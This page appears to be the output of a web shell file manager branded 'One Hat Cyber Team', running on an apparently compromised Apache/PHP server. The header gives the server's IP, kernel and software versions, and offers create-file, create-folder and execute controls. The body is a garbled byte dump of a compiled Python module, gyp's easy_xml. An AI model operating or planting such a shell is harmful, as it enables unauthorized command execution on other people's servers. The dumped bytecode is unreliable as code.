One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
gyp
/
__pycache__
/
View File Name :
easy_xml.cpython-310.pyc
o p.a> � @ s� d dl Z d dlZd dlZd dlZze W n ey# d dlmZ Y nw ddd�Zddd�Z dd d �Z ddd ddddd�Z e �dd�e e je �� �� �Zddd�ZdS )� N)�reduce�utf-8Fc C s. d| g}|r|� d� t|| |� d�|�S )ay Writes the XML content to disk, touching the file only if it has changed. Visual Studio files have a lot of pre-defined structures. This function makes it easy to represent these structures as Python data structures, instead of having to create a lot of function calls. Each XML element of the content is represented as a list composed of: 1. The name of the element, a string, 2. The attributes of the element, a dictionary (optional), and 3+. The content of the element, if any. Strings are simple text nodes and lists are child elements. Example 1: <test/> becomes ['test'] Example 2: <myelement a='value1' b='value2'> <childtype>This is</childtype> <childtype>it!</childtype> </myelement> becomes ['myelement', {'a':'value1', 'b':'value2'}, ['childtype', 'This is'], ['childtype', 'it!'], ] Args: content: The structured content to be converted. encoding: The encoding to report on the first XML line. pretty: True if we want pretty printing with indents and new lines. Returns: The XML content as a string. z#<?xml version="1.0" encoding="%s"?>� � )�append�_ConstructContentList�join)�content�encoding�pretty� xml_parts� r �./usr/lib/python3/dist-packages/gyp/easy_xml.py�XmlToString s ' r c C sR |r d| }d}nd}d}|d }t |t�stdt|� ��| �|d | � |dd� }|rVt |d t�rVt|d �� �D ]\}} | �d |t| d d�f � q>|dd� }|r�| �d� td d� |d �} | }|rq|rq| �|� |D ]}t |t�r�| �t|�� qst | |||d � qs|r�|r�| �|� | �d||f � dS | �d| � dS )a+ Appends the XML parts corresponding to the specification. Args: xml_parts: A list of XML parts to be appended to. specification: The specification of the element. See EasyXml docs. pretty: True if we want pretty printing with indents and new lines. level: Indentation level. z r r r zRThe first item of an EasyXml specification should be a string. Specification was �<� Nz %s="%s"T��attr�>c S s | ot |t�S )N)� isinstance�str)�x�yr r r �<lambda>^ s z'_ConstructContentList.<locals>.<lambda>z</%s>%sz/>%s) r r � Exceptionr �dict�sorted�items� _XmlEscaper r ) r � specificationr �level�indentation�new_line�name�rest�at�val�all_strings� multi_line� child_specr r r r @ s<